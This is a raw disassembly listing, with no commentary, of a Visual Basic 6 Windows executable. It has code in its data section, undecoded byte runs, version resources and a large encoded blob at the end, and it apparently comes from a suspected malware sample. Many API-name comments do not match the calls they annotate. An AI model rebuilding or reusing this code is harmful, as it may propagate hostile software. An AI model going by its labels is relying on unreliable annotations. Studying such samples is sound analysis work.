		push	eax
		mov	large fs:0, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_401198
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-1Ch]
		mov	[ebp-18h], esi
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	[ebp-30h], esi
		call	dword ptr ds:loc_4010CF+1
		lea	eax, [ebp-30h]
		lea	edx, [ebp-1Ch]
		push	10h
		push	eax
		mov	[ebp-28h], edx
		mov	dword ptr [ebp-30h], 4008h
		call	dword ptr ds:loc_4010AD+3
		mov	edx, eax
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-18h]
		push	ecx
		push	4028ACh
		call	dword ptr ds:loc_40105B+5
		neg	eax
		sbb	eax, eax
		mov	[ebp-20h], eax
		push	offset sub_40459F
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B500845h, 852FF10h,	6610458Bh, 66E04D8Bh, 458B0889h
		dd 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h, 0CC25Dh, 2 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 4011A8h
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	[edx], esi
		mov	ecx, [eax]
		push	ecx
		mov	[ebp-30h], esi
		mov	[ebp-40h], esi
		mov	[ebp-50h], esi
		call	dword ptr ds:loc_401015+3
		mov	ecx, eax
		call	dword ptr ds:loc_401068+4
		mov	edi, dword ptr ds:loc_401105+3
		mov	ebx, dword ptr ds:loc_401013+1
		mov	esi, eax

loc_41D295:				; CODE XREF: .data:0041D30Cj
		test	si, si
		jle	loc_41D364
		mov	edx, [ebp+0Ch]
		lea	eax, [ebp-30h]
		movsx	ecx, si
		mov	[ebp-48h], edx
		push	eax
		lea	edx, [ebp-50h]
		push	ecx
		lea	eax, [ebp-40h]
		push	edx
		push	eax
		mov	dword ptr [ebp-28h], 1
		mov	dword ptr [ebp-30h], 2
		mov	dword ptr [ebp-50h], 4008h
		call	dword ptr ds:loc_40104D+3
		lea	ecx, [ebp-40h]
		push	ecx
		call	ebx	; GetShortPathNameA
		mov	edx, eax
		lea	ecx, [ebp-1Ch]
		call	edi	; PeekMessageA
		lea	edx, [ebp-40h]
		lea	eax, [ebp-30h]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-1Ch]
		add	esp, 0Ch
		push	ecx
		push	offset sub_4020F4
		call	dword ptr ds:loc_40105B+5
		test	eax, eax
		jz	short loc_41D30E
		sub	si, 1
		jo	loc_41D3BF
		jmp	short loc_41D295
; ---------------------------------------------------------------------------

loc_41D30E:				; CODE XREF: .data:0041D300j
		mov	edx, [ebp+0Ch]
		lea	eax, [ebp-30h]
		mov	[ebp-48h], edx
		push	eax
		lea	ecx, [ebp-50h]
		sub	si, 1
		push	1
		lea	edx, [ebp-40h]
		push	ecx
		push	edx
		jo	loc_41D3BF
		mov	[ebp-28h], si
		mov	dword ptr [ebp-30h], 2
		mov	dword ptr [ebp-50h], 4008h
		call	dword ptr ds:loc_40104D+3
		lea	eax, [ebp-40h]
		push	eax
		call	ebx	; GetShortPathNameA
		mov	edx, eax
		lea	ecx, [ebp-20h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-40h]
		lea	edx, [ebp-30h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch

loc_41D364:				; CODE XREF: .data:0041D298j
		push	offset sub_404740
		jmp	short loc_41D38E
; ---------------------------------------------------------------------------
		db 0F6h
		dd 7404FC45h, 0E04D8D09h, 111815FFh, 458D0040h,	0D04D8DC0h
		dd 26A5150h, 101C15FFh,	0C4830040h
		db 0Ch,	0C3h
; ---------------------------------------------------------------------------

loc_41D38E:				; CODE XREF: .data:0041D369j
		lea	ecx, [ebp-1Ch]
		call	dword ptr ds:loc_401118
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 52FF108Bh, 10458B08h, 89E04D8Bh, 0FC458B08h
		dd 5FEC4D8Bh, 0D89645Eh, 0
		dd 5DE58B5Bh
		db 0C2h, 0Ch, 0
; ---------------------------------------------------------------------------

loc_41D3BF:				; CODE XREF: .data:0041D306j
					; .data:0041D326j
		call	dword ptr ds:loc_4010B7+1
		nop
		nop
		nop
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011B8
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	[ebp-18h], esi
		mov	eax, [ebp+8]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+8]
		mov	eax, [ebp+14h]
		mov	cx, [ebp-18h]
		mov	[eax], cx
		mov	eax, [ebp-4]
		mov	ecx, [ebp-14h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 90h
		dd 3 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 70h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011C0
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-18h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		mov	[ebp-78h], esi
		call	dword ptr ds:loc_4010CF+1
		push	esi
		lea	edx, [ebp-48h]
		push	4028B4h
		push	edx
		call	dword ptr ds:loc_40109A+2
		lea	eax, [ebp-48h]
		lea	ecx, [ebp-28h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010EA+2
		mov	ebx, [ebp-64h]
		sub	esp, 10h
		mov	edx, esp
		mov	ecx, 4008h
		lea	eax, [ebp-18h]
		push	1
		mov	[edx], ecx
		lea	ecx, [ebp-28h]
		push	offset sub_4028EC
		push	ecx
		mov	[edx+4], ebx
		mov	[ebp-70h], esi
		mov	dword ptr [ebp-78h], 800Bh
		mov	[edx+8], eax
		mov	eax, [ebp-5Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		push	eax
		lea	eax, [ebp-78h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-48h]
		mov	edi, eax
		call	dword ptr ds:loc_40100C
		cmp	di, si
		jz	short loc_41D544
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-18h]
		push	1
		push	offset sub_402908
		mov	[edx], ecx
		lea	ecx, [ebp-28h]
		push	ecx
		mov	[edx+4], ebx
		mov	[edx+8], eax
		mov	eax, [ebp-5Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		mov	edx, eax
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401006+2

loc_41D544:				; CODE XREF: .data:0041D504j
		push	404921h
		jmp	short loc_41D55F
; ---------------------------------------------------------------------------
		db 8Dh
		dd 4D8DA845h, 6A5150B8h, 1C15FF02h, 83004010h
		db 0C4h, 0Ch, 0C3h
; ---------------------------------------------------------------------------

loc_41D55F:				; CODE XREF: .data:0041D549j
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401118
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 8C25Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0B4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011D0
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		mov	edi, dword ptr ds:loc_4010CF+1
		lea	ecx, [ebp-4Ch]
		mov	[ebp-24h], esi
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		mov	[ebp-4Ch], esi
		mov	[ebp-5Ch], esi
		mov	[ebp-6Ch], esi
		mov	[ebp-8Ch], esi
		call	edi	; PeekMessageA
		mov	edx, [ebp+10h]
		lea	ecx, [ebp-38h]
		call	edi	; PeekMessageA
		push	esi
		lea	edx, [ebp-5Ch]
		push	4028B4h
		push	edx
		call	dword ptr ds:loc_40109A+2
		lea	eax, [ebp-5Ch]
		lea	ecx, [ebp-34h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010EA+2
		mov	edi, [ebp-78h]
		sub	esp, 10h
		mov	edx, esp
		mov	ecx, 4008h
		mov	ebx, [ebp-70h]
		lea	eax, [ebp-4Ch]
		mov	[edx], ecx
		push	1
		push	offset sub_4028EC
		lea	ecx, [ebp-5Ch]
		mov	[edx+4], edi
		mov	[ebp-84h], esi
		mov	dword ptr [ebp-8Ch], 800Bh
		mov	[edx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		push	ecx
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		lea	edx, [ebp-8Ch]
		push	eax
		push	edx
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-5Ch]
		mov	[ebp-0C0h], eax
		call	dword ptr ds:loc_40100C
		cmp	[ebp-0C0h], si
		jz	short loc_41D6C8
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-4Ch]
		push	1
		push	offset sub_402908
		mov	[edx], ecx
		lea	ecx, [ebp-5Ch]
		mov	[edx+4], edi
		mov	[edx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		push	ecx
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		mov	edx, eax
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_401006+2

loc_41D6C8:				; CODE XREF: .data:0041D68Bj
		mov	edx, [ebp-4Ch]
		push	edx
		push	402928h
		call	dword ptr ds:loc_401026+2
		mov	edx, 0Bh
		sub	esp, 10h
		mov	[ebp-8Ch], edx
		mov	[ebp-0ACh], edx
		mov	edx, esp
		mov	ecx, 8
		mov	[ebp-5Ch], ecx
		mov	[ebp-54h], eax
		mov	[edx], ecx
		mov	ecx, [ebp-58h]
		sub	esp, 10h
		mov	dword ptr [ebp-84h], 0FFFFFFFFh
		mov	[edx+4], ecx
		mov	ecx, esp
		sub	esp, 10h
		mov	[edx+8], eax
		mov	eax, [ebp-50h]
		mov	[edx+0Ch], eax
		mov	edx, [ebp-8Ch]
		mov	eax, [ebp-88h]
		mov	[ecx], edx
		mov	edx, [ebp-84h]
		mov	[ecx+4], eax
		mov	eax, [ebp-80h]
		mov	[ecx+8], edx
		mov	edx, [ebp-0ACh]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp-0A8h]
		mov	ecx, esp
		push	3
		push	402940h
		mov	[ecx], edx
		mov	edx, [ebp-0A0h]
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		mov	[ecx+0Ch], edx
		lea	ecx, [ebp-6Ch]
		push	ecx
		call	dword ptr ds:loc_4010FC
		add	esp, 40h
		lea	edx, [ebp-24h]
		push	eax
		push	edx
		call	dword ptr ds:loc_4010EA+2
		lea	ecx, [ebp-5Ch]
		call	dword ptr ds:loc_40100C
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-38h]
		push	1
		push	402960h
		mov	[edx], ecx
		mov	[edx+4], edi
		mov	[edx+8], eax
		lea	eax, [ebp-24h]
		push	eax
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_40106E+2
		push	eax
		call	dword ptr ds:loc_4010EF+1
		add	esp, 1Ch
		lea	ecx, [ebp-24h]
		push	esi
		push	ecx
		call	dword ptr ds:loc_401100
		push	404BAFh
		jmp	short loc_41D7E1
; ---------------------------------------------------------------------------
		db 8Dh,	55h, 94h
		dd 52A4458Dh, 0FF026A50h, 40101C15h, 0CC48300h
		db 0C3h
; ---------------------------------------------------------------------------

loc_41D7E1:				; CODE XREF: .data:0041D7CBj
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-24h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_401118
		lea	ecx, [ebp-38h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-48h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-4Ch]
		call	edi	; PeekMessageA
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B500845h, 851FF08h,	8BFC458Bh, 5E5FEC4Dh, 0D8964h
		dd 5B000000h, 0C25DE58Bh, 9090000Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 4011E0h
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-18h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		call	dword ptr ds:loc_4010CF+1
		push	esi
		lea	edx, [ebp-48h]
		push	4028B4h
		push	edx
		call	dword ptr ds:loc_40109A+2
		mov	edi, dword ptr ds:loc_4010EA+2
		lea	eax, [ebp-48h]
		lea	ecx, [ebp-38h]
		push	eax
		push	ecx
		call	edi	; PeekMessageA
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-18h]
		push	1
		push	402974h
		mov	[edx], ecx
		mov	ecx, [ebp-54h]
		mov	[edx+4], ecx
		lea	ecx, [ebp-38h]
		push	ecx
		mov	[edx+8], eax
		mov	eax, [ebp-4Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	edi	; PeekMessageA
		push	esi
		lea	ecx, [ebp-28h]
		push	402984h
		push	ecx
		call	dword ptr ds:loc_40106E+2
		push	eax
		call	dword ptr ds:loc_4010EF+1
		add	esp, 0Ch
		push	404CC1h
		jmp	short loc_41D8FF
; ---------------------------------------------------------------------------
		db 8Dh,	4Dh, 0B8h
		dd 100C15FFh
		db 40h,	0, 0C3h
; ---------------------------------------------------------------------------

loc_41D8FF:				; CODE XREF: .data:0041D8F3j
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401118
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 8C25Dh, 9E9E9E9Eh, 4D0Ch, 2 dup(0FFFFFFFFh),	4E30h
		dd 1000h, 5 dup(0)
		dd 4E3Eh, 4E48h, 4E56h,	4E66h, 4E76h, 4E86h, 4E98h, 4EA8h
		dd 4EBCh, 4ECCh, 4EDAh,	4EE8h, 4F00h, 4F10h, 4F24h, 4F32h
		dd 4F42h, 4F54h, 4F66h,	4F7Ah, 80000278h, 4F84h, 4F92h
		dd 4FA4h, 4FB8h, 4FC6h,	4FD6h, 4FE8h, 4FF4h, 5002h, 5010h
		dd 5024h, 80000258h, 503Ah, 5044h, 5060h, 800002C7h, 5076h
		dd 5084h, 800002CCh, 5096h, 50AAh, 50BCh, 50CAh, 80000285h
		dd 50D8h, 50E2h, 50F8h,	5108h, 80000288h, 5118h, 512Ah
		dd 513Ch, 800002A9h, 514Ch, 5160h, 5172h, 800002ADh, 80000064h
		dd 5180h, 5192h, 51A6h,	51B4h, 51C4h, 51DCh, 51F4h, 51FEh
		dd 520Eh, 5218h, 5222h,	522Ch, 523Ch, 0
aMsvbvm60_dll_2	db 'MSVBVM60.DLL',0
		align 4
a_cicos_0	db '_CIcos',0
		align 10h
		dd 615F0000h, 665F6A64h, 6E617470h, 0
a__vbavarmove_2	db '__vbaVarMove',0
		align 10h
a__vbafreevar_3	db '__vbaFreeVar',0
		align 10h
a__vbaarymove_2	db '__vbaAryMove',0
		align 10h
a__vbastrvarm_2	db '__vbaStrVarMove',0
		dd 5F5F0000h, 4C616276h, 73426E65h, 7274h, 5F5F0000h, 46616276h
		dd 56656572h, 694C7261h, 7473h,	615F0000h, 665F6A64h, 5F766964h
		dd 34366Dh, 615F0000h, 665F6A64h, 6D657270h, 31h, 62765F5Fh
		dd 72745361h, 746143h, 5F5F0000h, 48616276h, 75736572h
		dd 6843746Ch, 4F6B6365h, 6A62h,	615F0000h, 665F6A64h, 5F766964h
		dd 32336Dh, 5F5F0000h, 41616276h, 65447972h, 75727473h
		dd 7463h, 5F5F0000h, 4F616276h,	65536A62h, 74h,	62765F5Fh
		dd 456E4F61h, 726F7272h, 0
a_adj_fdiv_m1_0	db '_adj_fdiv_m16i',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 36316D5Fh, 69h, 62765F5Fh
		dd 72615661h, 65646E49h, 616F4C78h, 64h, 7349435Fh, 6E69h
		dd 5F5F0000h, 43616276h, 74736B68h, 6Bh, 62765F5Fh, 6C694661h
		dd 6F6C4365h, 6573h, 56450000h,	5F544E45h, 4B4E4953h, 6464415Fh
		dd 666552h, 5F5F0000h, 53616276h, 6D437274h, 70h, 62765F5Fh
		dd 72615661h, 45747354h, 71h, 62765F5Fh, 74755061h, 656E774Fh
		dd 3372h, 5F5F0000h, 49616276h,	344932h, 5F5F0000h, 4F616276h
		dd 61566A62h, 72h, 6A64615Fh, 6170665Fh, 6E6174h, 5F5F0000h
		dd 4C616276h, 49657461h, 6C614364h, 644C6Ch, 56450000h
		dd 5F544E45h, 4B4E4953h, 6C65525Fh, 65736165h, 0
a_cisqrt_0	db '_CIsqrt',0
		dd 56450000h, 5F544E45h, 4B4E4953h, 6575515Fh, 6E497972h
		dd 66726574h, 656361h, 5F5F0000h, 45616276h, 70656378h
		dd 6E614874h, 72656C64h, 0
a_adj_fprem_0	db '_adj_fprem',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 34366D5Fh, 0
a__vbafpexcep_0	db '__vbaFPException',0
		align 4
a__vbastrvarv_2	db '__vbaStrVarVal',0
		align 4
		dd 5F5F0000h, 56616276h, 61437261h, 74h, 62765F5Fh, 56324961h
		dd 7261h, 435F0000h, 676F6C49h,	0
a__vbaerrorov_2	db '__vbaErrorOverflow',0
		align 10h
		dd 5F5F0000h, 46616276h, 4F656C69h, 6E6570h, 5F5F0000h
		dd 56616276h, 56327261h, 6365h,	615F0000h, 665F6A64h, 5F766964h
		dd 6932336Dh, 0
a_adj_fdivr_m_0	db '_adj_fdivr_m32i',0
		dd 5F5F0000h, 53616276h, 6F437274h, 7970h, 5F5F0000h, 46616276h
		dd 53656572h, 694C7274h, 7473h,	615F0000h, 665F6A64h, 72766964h
		dd 32336D5Fh, 0
a_adj_fdiv_r_0	db '_adj_fdiv_r',0
		dd 5F5F0000h, 56616276h, 65537261h, 72615674h, 0
a__vbalatemem_2	db '__vbaLateMemCall',0
		align 10h
a__vbavardup_2	db '__vbaVarDup',0
		dd 5F5F0000h, 56616276h, 6F437261h, 7970h, 5F5F0000h, 56616276h
		dd 614C7261h, 654D6574h, 6C61436Dh, 644C6Ch, 5F5F0000h
		dd 56616276h, 65537261h, 6A624F74h, 72646441h, 6665h, 435F0000h
		dd 61746149h, 6Eh, 62765F5Fh, 72745361h, 65766F4Dh, 0
a_allmul_0	db '_allmul',0
		dd 435F0000h, 6E617449h, 0
a_ciexp_0	db '_CIexp',0
		align 4
		dd 5F5F0000h, 46616276h, 53656572h, 7274h, 5F5F0000h, 46616276h
		dd 4F656572h, 6A62h, 76Eh dup(0)
		dd 469462FDh, 54h, 30000h, 3, 80000058h, 0Eh, 80000040h
		dd 10h,	80000028h, 0
		dd 469462FDh, 54h, 10000h, 1, 80000080h, 0
		dd 469462FDh, 54h, 10000h, 1, 80000098h, 0
		dd 469462FDh, 54h, 30000h, 7531h, 800000E0h, 7532h, 800000C8h
		dd 7533h, 800000B0h, 0
		dd 469462FDh, 54h, 10000h, 409h, 0F8h, 0
		dd 469462FDh, 54h, 10000h, 0
		dd 108h, 0
		dd 469462FDh, 54h, 10000h, 0
		dd 118h, 0
		dd 469462FDh, 54h, 10000h, 0
		dd 128h, 0
		dd 469462FDh, 54h, 10000h, 0
		dd 138h, 7150h,	1ECh, 4B0h, 0
		dd 733Ch, 30h, 4B0h, 0
		dd 736Ch, 128h,	4B0h, 0
		dd 7494h, 2E8h,	4B0h, 0
		dd 777Ch, 130h,	4B0h, 3	dup(0)
		dd 3401ECh, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 2 dup(10000h), 0
		dd 10000h, 3 dup(0)
		dd 4, 1, 3 dup(0)
		dd 44h,	560000h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h
		dd 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 14Ch, 530001h, 720074h, 6E0069h, 460067h
		dd 6C0069h, 490065h, 66006Eh, 6Fh, 128h, 300001h, 300034h
		dd 300039h, 420034h, 30h, 140034h, 500001h, 6F0072h, 750064h
		dd 740063h, 61004Eh, 65006Dh, 0
aT20070711_2:
		unicode	0, <T20070711>,0
		unicode	0, <,>
		dw 0Ah
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a1_00_0:
		unicode	0, <1.00>,0
		align 4
a0_0:
		unicode	0, <0>
		dw 0Ah
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0031h, 300030h, 0
		dd 180038h, 490001h, 74006Eh, 720065h, 61006Eh,	4E006Ch
		dd 6D0061h, 65h, 300062h, 460036h, 550064h, 310065h, 380030h
		dd 33h,	200048h, 4F0001h, 690072h, 690067h, 61006Eh, 46006Ch
		dd 6C0069h, 6E0065h, 6D0061h, 65h, 300062h, 460036h, 550064h
		dd 310065h, 380030h, 2E0033h, 780065h, 65h, 10000h, 20200003h
		dd 10002h, 1300001h, 75310000h,	102020h, 40001h, 2E8h
		dd 10107532h, 10010h, 1280004h,	75330000h, 28h,	10h, 20h
		dd 40001h, 0
		dd 0C0h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 7 dup(0)
		dd 77F008h, 0FF080000h,	7077F0FFh, 0FFFF0F00h, 70F0FFh
		dd 0FFFF0F00h, 0F0FFh, 0FFFF0F00h, 0F0FFh, 0FFFF0F00h
		dd 80h,	800F00h, 0E00Eh, 0EE0E0000h, 0E0h, 0E00E00h, 9 dup(0)
		dd 2 dup(0FFFFh), 8FFFh, 3F8h, 1C0h, 7C0h, 5 dup(0FC0h)
		dd 7FC0h, 0FFC7h, 3 dup(0FFFFh), 28h, 20h, 40h,	40001h
		dd 0
		dd 280h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 1Ah dup(0)
		dd 7FF8F00h, 70h, 0
		dd 8F000000h, 7FFFFFFh,	7077h, 0
		dd 0FFFFFF08h, 7FFFFFFh, 707777h, 0FF000000h, 0FFFFFFFFh
		dd 7FFFFFFh, 7077h, 0FF000000h,	0FFFFFFFFh, 7FFFFFFh, 70h
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 8888FFh, 0
		dd 0FF000000h, 88FFFFFFh, 88h, 0
		dd 0FF000000h, 8888FFh,	0EEEE00h, 0
		dd 88000000h, 0EE000088h, 0EEh,	2 dup(0)
		dd 0EEEE00h, 2 dup(0)
		dd 0EE000000h, 0EEh, 22h dup(0)
		dd 5 dup(0FFFFFFFFh), 0FFC1FFFFh, 7F00FCFFh, 1F0080FFh
		dd 70000F8h, 1F0000F8h,	7F0000F8h, 0Bh dup(0FF0100F8h)
		dd 0FF3F00F8h, 0FFFF03F8h, 0FFFF3FF8h, 0FFFFFFFBh, 6 dup(0FFFFFFFFh)
		dd 28h,	20h, 40h, 10001h, 0
		dd 100h, 5 dup(0)
		dd 0FFFFFFh, 5 dup(0FFFFFFFFh),	0FFC1FFFFh, 7F3CFCFFh
		dd 1FFCC3FFh, 7FC3FF8h,	1FFCFFFBh, 7FFCFFFBh, 8	dup(0FFFDFFFBh)
		dd 0FFC1FFFBh, 0FF3DFCFBh, 0FFC1C3FBh, 0FF3F3CF8h, 0FFFFC3FBh
		dd 0FFFF3FF8h, 0FFFFFFFBh, 0Bh dup(0FFFFFFFFh),	0FFC1FFFFh
		dd 7F00FCFFh, 1F00C0FFh, 70000F8h, 1F0000F8h, 7F0000F8h
		dd 0Bh dup(0FF0100F8h),	0FF3F00F8h, 0FFFF03F8h,	0FFFF3FF8h
		dd 0FFFFFFFBh, 6 dup(0FFFFFFFFh), 1D5h dup(0)
aHDnz		db 'Ù;h{¤­‡Û',0         ; DATA XREF: sub_402C37+9Ao
					; sub_402C37+BBo ...
		db 0BDh, 77h, 40h
		dd 45D9818Bh, 88E364C6h, 0A55F487Ch, 3C840964h,	6525909Ch
		dd 6912DA14h, 9F014AEh,	102E6268h, 0A8364A2h, 1E904345h
		dd 0D64E8DDAh, 0CF32909Ah, 0F2447900h, 24F4950Ah, 2321A24Ah
		dd 2A4B40A4h, 9412828h,	3F4AD304h, 88609F1Fh, 1DEF0D8Bh
		dd 329B171Bh, 111E10C8h, 12989511h, 8621915h, 0D2CEECCEh
		dd 903EFB06h, 0B31B2D76h, 18A24234h, 22C60342h,	8B23E183h
		dd 0FA6A3862h, 813FDFF8h, 32B615B2h, 2E39C1D7h,	0DC82AF65h
		dd 9596BB67h, 35099CB9h, 1499C9DCh, 2CB433D2h, 8F8F43E8h
		dd 6F6CF9D6h, 4B85F8D6h, 5CC717C9h, 0F8F78A3Dh,	5E6FECE8h
		dd 7EF7122Fh, 0E5E478A8h, 73D5F35Bh, 0F89E7783h, 1F59B7FEh
		dd 0A57EAF2Eh, 53938FCBh, 8E478AFDh, 0F3747CFFh, 0FEA59F87h
		dd 0EA637DD6h, 87FA45D0h, 0A59A333Dh, 1B1D0596h, 0C75CE0BDh
		dd 8EE75ED4h, 0A74FBA07h, 0AF782D76h, 1FDF5FAAh, 6E3BE27Eh
		dd 4A64B81Eh, 33B96587h, 79F6FBABh, 5AD5646Bh, 57BD5CEAh
		dd 0EC5533CFh, 3BD05752h, 7095035Dh, 0CD717183h, 9770CD96h
		dd 0FA50FF4Eh, 1B73C4E7h, 509A6FEEh, 50BF5EEFh,	0C369DD1Ch
